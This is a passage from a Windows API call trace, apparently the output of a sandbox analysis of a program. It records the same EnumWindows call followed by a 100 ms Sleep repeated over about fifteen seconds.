EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0168.145] Sleep (dwMilliseconds=0x64) [0168.204] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0168.204] Sleep (dwMilliseconds=0x64) [0168.300] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0168.302] Sleep (dwMilliseconds=0x64) [0168.384] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0168.385] Sleep (dwMilliseconds=0x64) [0168.398] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0168.399] Sleep (dwMilliseconds=0x64) [0168.588] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0168.589] Sleep (dwMilliseconds=0x64) [0168.662] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0168.663] Sleep (dwMilliseconds=0x64) [0168.707] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0168.708] Sleep (dwMilliseconds=0x64) [0168.808] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0168.808] Sleep (dwMilliseconds=0x64) [0168.877] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0168.879] Sleep (dwMilliseconds=0x64) [0168.894] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0168.895] Sleep (dwMilliseconds=0x64) [0169.066] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0169.066] Sleep (dwMilliseconds=0x64) [0169.129] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0169.130] Sleep (dwMilliseconds=0x64) [0169.185] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0169.186] Sleep (dwMilliseconds=0x64) [0169.209] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0169.210] Sleep (dwMilliseconds=0x64) [0169.284] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0169.285] Sleep (dwMilliseconds=0x64) [0169.357] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0169.358] Sleep (dwMilliseconds=0x64) [0169.378] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0169.379] Sleep (dwMilliseconds=0x64) [0169.548] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0169.549] Sleep (dwMilliseconds=0x64) [0169.594] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0169.595] Sleep (dwMilliseconds=0x64) [0169.628] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0169.629] Sleep (dwMilliseconds=0x64) [0169.723] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0169.723] Sleep (dwMilliseconds=0x64) [0169.774] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0169.775] Sleep (dwMilliseconds=0x64) [0169.800] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0169.802] Sleep (dwMilliseconds=0x64) [0169.895] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0169.895] Sleep (dwMilliseconds=0x64) [0169.932] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0169.932] Sleep (dwMilliseconds=0x64) [0170.003] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0170.004] Sleep (dwMilliseconds=0x64) [0170.087] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0170.088] Sleep (dwMilliseconds=0x64) [0170.108] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0170.109] Sleep (dwMilliseconds=0x64) [0170.222] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0170.223] Sleep (dwMilliseconds=0x64) [0170.273] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0170.273] Sleep (dwMilliseconds=0x64) [0170.332] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0170.332] Sleep (dwMilliseconds=0x64) [0170.410] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0170.411] Sleep (dwMilliseconds=0x64) [0170.525] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0170.526] Sleep (dwMilliseconds=0x64) [0170.579] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0170.580] Sleep (dwMilliseconds=0x64) [0170.698] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0170.699] Sleep (dwMilliseconds=0x64) [0170.771] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0170.772] Sleep (dwMilliseconds=0x64) [0170.791] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0170.792] Sleep (dwMilliseconds=0x64) [0170.863] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0170.863] Sleep (dwMilliseconds=0x64) [0170.912] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0170.914] Sleep (dwMilliseconds=0x64) [0170.939] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0170.939] Sleep (dwMilliseconds=0x64) [0171.053] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0171.054] Sleep (dwMilliseconds=0x64) [0171.095] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0171.096] Sleep (dwMilliseconds=0x64) [0171.176] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0171.177] Sleep (dwMilliseconds=0x64) [0171.249] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0171.250] Sleep (dwMilliseconds=0x64) [0171.269] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0171.270] Sleep (dwMilliseconds=0x64) [0171.472] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0171.473] Sleep (dwMilliseconds=0x64) [0171.583] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0171.583] Sleep (dwMilliseconds=0x64) [0171.644] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0171.645] Sleep (dwMilliseconds=0x64) [0171.738] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0171.739] Sleep (dwMilliseconds=0x64) [0171.761] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0171.761] Sleep (dwMilliseconds=0x64) [0171.784] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0171.785] Sleep (dwMilliseconds=0x64) [0171.863] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0171.864] Sleep (dwMilliseconds=0x64) [0171.911] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0171.912] Sleep (dwMilliseconds=0x64) [0172.003] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0172.004] Sleep (dwMilliseconds=0x64) [0172.066] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0172.066] Sleep (dwMilliseconds=0x64) [0172.130] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0172.130] Sleep (dwMilliseconds=0x64) [0172.201] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0172.202] Sleep (dwMilliseconds=0x64) [0172.291] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0172.298] Sleep (dwMilliseconds=0x64) [0172.334] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0172.335] Sleep (dwMilliseconds=0x64) [0172.428] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0172.428] Sleep (dwMilliseconds=0x64) [0172.478] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0172.479] Sleep (dwMilliseconds=0x64) [0172.687] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0172.687] Sleep (dwMilliseconds=0x64) [0172.769] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0172.770] Sleep (dwMilliseconds=0x64) [0172.810] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0172.811] Sleep (dwMilliseconds=0x64) [0172.832] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0172.833] Sleep (dwMilliseconds=0x64) [0172.921] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0172.923] Sleep (dwMilliseconds=0x64) [0172.982] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0172.983] Sleep (dwMilliseconds=0x64) [0173.020] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0173.021] Sleep (dwMilliseconds=0x64) [0173.084] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0173.085] Sleep (dwMilliseconds=0x64) [0173.138] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0173.139] Sleep (dwMilliseconds=0x64) [0173.175] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0173.176] Sleep (dwMilliseconds=0x64) [0173.271] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0173.272] Sleep (dwMilliseconds=0x64) [0173.322] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0173.323] Sleep (dwMilliseconds=0x64) [0173.425] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0173.427] Sleep (dwMilliseconds=0x64) [0173.497] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0173.498] Sleep (dwMilliseconds=0x64) [0173.504] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0173.505] Sleep (dwMilliseconds=0x64) [0173.683] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0173.684] Sleep (dwMilliseconds=0x64) [0173.743] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0173.743] Sleep (dwMilliseconds=0x64) [0173.798] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0173.798] Sleep (dwMilliseconds=0x64) [0173.849] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0173.850] Sleep (dwMilliseconds=0x64) [0173.896] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0173.897] Sleep (dwMilliseconds=0x64) [0173.916] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0173.917] Sleep (dwMilliseconds=0x64) [0173.988] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0173.988] Sleep (dwMilliseconds=0x64) [0174.043] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0174.043] Sleep (dwMilliseconds=0x64) [0174.096] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0174.096] Sleep (dwMilliseconds=0x64) [0174.161] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0174.162] Sleep (dwMilliseconds=0x64) [0174.203] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0174.203] Sleep (dwMilliseconds=0x64) [0174.243] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0174.244] Sleep (dwMilliseconds=0x64) [0174.258] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0174.259] Sleep (dwMilliseconds=0x64) [0174.269] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0174.270] Sleep (dwMilliseconds=0x64) [0174.347] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0174.348] Sleep (dwMilliseconds=0x64) [0174.393] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0174.394] Sleep (dwMilliseconds=0x64) [0174.441] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0174.441] Sleep (dwMilliseconds=0x64) [0174.486] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0174.487] Sleep (dwMilliseconds=0x64) [0174.566] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0174.567] Sleep (dwMilliseconds=0x64) [0174.623] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0174.624] Sleep (dwMilliseconds=0x64) [0174.705] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0174.706] Sleep (dwMilliseconds=0x64) [0174.736] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0174.737] Sleep (dwMilliseconds=0x64) [0174.806] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0174.807] Sleep (dwMilliseconds=0x64) [0174.846] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0174.848] Sleep (dwMilliseconds=0x64) [0174.988] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0174.993] Sleep (dwMilliseconds=0x64) [0175.003] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.004] Sleep (dwMilliseconds=0x64) [0175.019] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.019] Sleep (dwMilliseconds=0x64) [0175.034] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.035] Sleep (dwMilliseconds=0x64) [0175.050] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.051] Sleep (dwMilliseconds=0x64) [0175.066] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.066] Sleep (dwMilliseconds=0x64) [0175.081] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.082] Sleep (dwMilliseconds=0x64) [0175.098] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.099] Sleep (dwMilliseconds=0x64) [0175.113] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.114] Sleep (dwMilliseconds=0x64) [0175.128] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.129] Sleep (dwMilliseconds=0x64) [0175.144] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.145] Sleep (dwMilliseconds=0x64) [0175.160] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.160] Sleep (dwMilliseconds=0x64) [0175.175] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.176] Sleep (dwMilliseconds=0x64) [0175.192] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.192] Sleep (dwMilliseconds=0x64) [0175.206] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.207] Sleep (dwMilliseconds=0x64) [0175.222] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.223] Sleep (dwMilliseconds=0x64) [0175.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.239] Sleep (dwMilliseconds=0x64) [0175.253] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.254] Sleep (dwMilliseconds=0x64) [0175.269] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.270] Sleep (dwMilliseconds=0x64) [0175.286] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.287] Sleep (dwMilliseconds=0x64) [0175.300] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.301] Sleep (dwMilliseconds=0x64) [0175.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.317] Sleep (dwMilliseconds=0x64) [0175.331] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.332] Sleep (dwMilliseconds=0x64) [0175.378] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.379] Sleep (dwMilliseconds=0x64) [0175.394] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.394] Sleep (dwMilliseconds=0x64) [0175.410] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.410] Sleep (dwMilliseconds=0x64) [0175.425] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.426] Sleep (dwMilliseconds=0x64) [0175.441] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.441] Sleep (dwMilliseconds=0x64) [0175.460] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.461] Sleep (dwMilliseconds=0x64) [0175.472] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.473] Sleep (dwMilliseconds=0x64) [0175.629] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.631] Sleep (dwMilliseconds=0x64) [0175.707] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.708] Sleep (dwMilliseconds=0x64) [0175.734] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.735] Sleep (dwMilliseconds=0x64) [0175.816] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.816] Sleep (dwMilliseconds=0x64) [0175.868] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.869] Sleep (dwMilliseconds=0x64) [0175.922] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.922] Sleep (dwMilliseconds=0x64) [0175.962] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0175.963] Sleep (dwMilliseconds=0x64) [0176.009] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0176.010] Sleep (dwMilliseconds=0x64) [0176.044] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0176.045] Sleep (dwMilliseconds=0x64) [0176.206] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0176.207] Sleep (dwMilliseconds=0x64) [0176.257] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0176.257] Sleep (dwMilliseconds=0x64) [0176.289] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0176.290] Sleep (dwMilliseconds=0x64) [0176.379] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0176.380] Sleep (dwMilliseconds=0x64) [0176.456] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0176.457] Sleep (dwMilliseconds=0x64) [0176.582] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0176.583] Sleep (dwMilliseconds=0x64) [0176.684] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0176.684] Sleep (dwMilliseconds=0x64) [0176.754] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0176.755] Sleep (dwMilliseconds=0x64) [0176.842] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0176.844] Sleep (dwMilliseconds=0x64) [0176.894] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0176.895] Sleep (dwMilliseconds=0x64) [0176.973] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0176.974] Sleep (dwMilliseconds=0x64) [0177.066] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0177.067] Sleep (dwMilliseconds=0x64) [0177.160] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0177.161] Sleep (dwMilliseconds=0x64) [0177.230] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0177.231] Sleep (dwMilliseconds=0x64) [0177.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0177.317] Sleep (dwMilliseconds=0x64) [0177.410] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0177.410] Sleep (dwMilliseconds=0x64) [0177.490] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0177.491] Sleep (dwMilliseconds=0x64) [0177.607] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0177.608] Sleep (dwMilliseconds=0x64) [0177.691] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0177.691] Sleep (dwMilliseconds=0x64) [0177.769] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0177.769] Sleep (dwMilliseconds=0x64) [0177.838] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0177.838] Sleep (dwMilliseconds=0x64) [0177.879] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0177.880] Sleep (dwMilliseconds=0x64) [0177.976] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0177.976] Sleep (dwMilliseconds=0x64) [0178.023] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0178.023] Sleep (dwMilliseconds=0x64) [0178.083] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0178.083] Sleep (dwMilliseconds=0x64) [0178.179] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0178.179] Sleep (dwMilliseconds=0x64) [0178.208] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0178.209] Sleep (dwMilliseconds=0x64) [0178.285] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0178.285] Sleep (dwMilliseconds=0x64) [0178.381] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0178.382] Sleep (dwMilliseconds=0x64) [0178.633] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0178.634] Sleep (dwMilliseconds=0x64) [0178.715] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0178.715] Sleep (dwMilliseconds=0x64) [0178.756] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0178.757] Sleep (dwMilliseconds=0x64) [0178.826] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0178.827] Sleep (dwMilliseconds=0x64) [0178.894] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0178.894] Sleep (dwMilliseconds=0x64) [0178.990] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0178.990] Sleep (dwMilliseconds=0x64) [0179.042] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0179.042] Sleep (dwMilliseconds=0x64) [0179.081] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0179.082] Sleep (dwMilliseconds=0x64) [0179.178] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0179.179] Sleep (dwMilliseconds=0x64) [0179.251] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0179.252] Sleep (dwMilliseconds=0x64) [0179.319] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0179.319] Sleep (dwMilliseconds=0x64) [0179.414] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0179.415] Sleep (dwMilliseconds=0x64) [0179.443] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0179.444] Sleep (dwMilliseconds=0x64) [0179.519] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0179.520] Sleep (dwMilliseconds=0x64) [0179.706] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0179.707] Sleep (dwMilliseconds=0x64) [0179.767] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0179.768] Sleep (dwMilliseconds=0x64) [0179.831] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0179.832] Sleep (dwMilliseconds=0x64) [0179.895] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0179.895] Sleep (dwMilliseconds=0x64) [0179.976] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0179.977] Sleep (dwMilliseconds=0x64) [0180.007] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0180.007] Sleep (dwMilliseconds=0x64) [0180.050] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0180.051] Sleep (dwMilliseconds=0x64) [0180.113] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0180.114] Sleep (dwMilliseconds=0x64) [0180.184] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0180.184] Sleep (dwMilliseconds=0x64) [0180.223] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0180.224] Sleep (dwMilliseconds=0x64) [0180.300] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0180.301] Sleep (dwMilliseconds=0x64) [0180.383] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0180.384] Sleep (dwMilliseconds=0x64) [0180.436] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0180.437] Sleep (dwMilliseconds=0x64) [0180.503] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0180.504] Sleep (dwMilliseconds=0x64) [0180.659] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0180.660] Sleep (dwMilliseconds=0x64) [0180.731] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0180.731] Sleep (dwMilliseconds=0x64) [0180.800] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0180.801] Sleep (dwMilliseconds=0x64) [0181.004] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0181.005] Sleep (dwMilliseconds=0x64) [0181.045] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0181.046] Sleep (dwMilliseconds=0x64) [0181.051] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0181.051] Sleep (dwMilliseconds=0x64) [0181.144] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0181.145] Sleep (dwMilliseconds=0x64) [0181.207] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0181.208] Sleep (dwMilliseconds=0x64) [0181.234] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0181.235] Sleep (dwMilliseconds=0x64) [0181.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0181.317] Sleep (dwMilliseconds=0x64) [0181.394] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0181.395] Sleep (dwMilliseconds=0x64) [0181.418] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0181.419] Sleep (dwMilliseconds=0x64) [0181.503] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0181.504] Sleep (dwMilliseconds=0x64) [0181.633] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0181.634] Sleep (dwMilliseconds=0x64) [0181.672] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0181.673] Sleep (dwMilliseconds=0x64) [0181.770] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0181.771] Sleep (dwMilliseconds=0x64) [0181.847] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0181.848] Sleep (dwMilliseconds=0x64) [0181.941] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0181.942] Sleep (dwMilliseconds=0x64) [0182.109] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0182.110] Sleep (dwMilliseconds=0x64) [0182.168] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0182.169] Sleep (dwMilliseconds=0x64) [0182.176] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0182.176] Sleep (dwMilliseconds=0x64) [0182.191] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0182.191] Sleep (dwMilliseconds=0x64) [0182.285] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0182.286] Sleep (dwMilliseconds=0x64) [0182.337] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0182.338] Sleep (dwMilliseconds=0x64) [0182.394] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0182.394] Sleep (dwMilliseconds=0x64) [0182.433] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0182.434] Sleep (dwMilliseconds=0x64) [0182.456] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0182.456] Sleep (dwMilliseconds=0x64) [0182.501] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0182.502] Sleep (dwMilliseconds=0x64) [0182.682] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0182.683] Sleep (dwMilliseconds=0x64) [0182.736] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0182.737] Sleep (dwMilliseconds=0x64) [0182.816] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0182.817] Sleep (dwMilliseconds=0x64) [0182.909] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0182.910] Sleep (dwMilliseconds=0x64) [0182.957] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0182.957] Sleep (dwMilliseconds=0x64) [0183.061] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0183.063] Sleep (dwMilliseconds=0x64) [0183.105] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0183.106] Sleep (dwMilliseconds=0x64) [0183.144] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0183.144] Sleep (dwMilliseconds=0x64) [0183.284] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0183.285] Sleep (dwMilliseconds=0x64) [0183.341] EnumWindows 